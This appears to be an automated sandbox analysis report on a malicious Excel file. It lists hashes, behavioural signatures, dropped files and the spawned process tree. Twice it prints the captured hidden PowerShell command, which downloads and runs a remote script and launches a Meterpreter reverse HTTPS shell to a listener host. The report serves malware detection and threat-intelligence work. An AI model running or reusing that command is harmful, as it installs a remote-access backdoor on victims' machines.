Analysis

  • max time kernel
    24s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    09-07-2024 22:14

General

  • Target

    832dc1da08ddc7f542938b77b768cd40c8b7eaf3a430c6058d8af80400515284.xls

  • Size

    44KB

  • MD5

    1e9ed7e79c0f48996fedb74189895ae6

  • SHA1

    e0f104e40847774f3ca32fff30bdfc4548691b02

  • SHA256

    832dc1da08ddc7f542938b77b768cd40c8b7eaf3a430c6058d8af80400515284

  • SHA512

    2c648e9ef3e931ea9a0e182b75cc0d2db4d2ee478082ade6654f0d1e8b3cfc516c515031e260283c830b08f39ed1f946d1c7f468be18be99441cfbff8e3fc5e4

  • SSDEEP

    768:Ytvo+lzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJxSp5kuFlmQQpIvH9acc9acyL:IPk3hbdlylKsgqopeJBWhZFGkE+cL2N5

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\832dc1da08ddc7f542938b77b768cd40c8b7eaf3a430c6058d8af80400515284.xls
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\SysWOW64\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2752
      • C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2608
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2840

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q44SNVSCLWUI4EOJ1RSW.temp

    Filesize

    7KB

    MD5

    0b4b37fb1d31247d0b26f5dc9a8e33f2

    SHA1

    e60297e0a3673932174e048753978cdaa0c6398e

    SHA256

    5ef3a3df51d3fa2286e375742e73bfcb9154efd96eeae596669b939c8626b60e

    SHA512

    5e1d10a26e1f0b6acdca3ca9f0f85ed607108803fd889f12dbca9aebdb8355479c9728e0787310d8690aad3964aaf967d331be98c69f7dc87fbf5d4f94514dde

  • C:\Users\Public\config.vbs

    Filesize

    461B

    MD5

    ce52ab154163c511f0efa6a61e22ab64

    SHA1

    9f12cc215e15802eddcb02cb5370ef16b21fa3a6

    SHA256

    df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

    SHA512

    cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

  • memory/2676-17-0x0000000006530000-0x0000000006630000-memory.dmp

    Filesize

    1024KB

  • memory/2676-18-0x0000000006530000-0x0000000006630000-memory.dmp

    Filesize

    1024KB

  • memory/2676-38-0x0000000006530000-0x0000000006630000-memory.dmp

    Filesize

    1024KB

  • memory/2676-37-0x0000000006530000-0x0000000006630000-memory.dmp

    Filesize

    1024KB

  • memory/2676-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2676-1-0x00000000723AD000-0x00000000723B8000-memory.dmp

    Filesize

    44KB

  • memory/2676-48-0x00000000723AD000-0x00000000723B8000-memory.dmp

    Filesize

    44KB

  • memory/2676-49-0x0000000006530000-0x0000000006630000-memory.dmp

    Filesize

    1024KB

  • memory/2676-50-0x0000000006530000-0x0000000006630000-memory.dmp

    Filesize

    1024KB

  • memory/2840-45-0x0000000002220000-0x0000000002228000-memory.dmp

    Filesize

    32KB

  • memory/2840-44-0x000000001B890000-0x000000001BB72000-memory.dmp

    Filesize

    2.9MB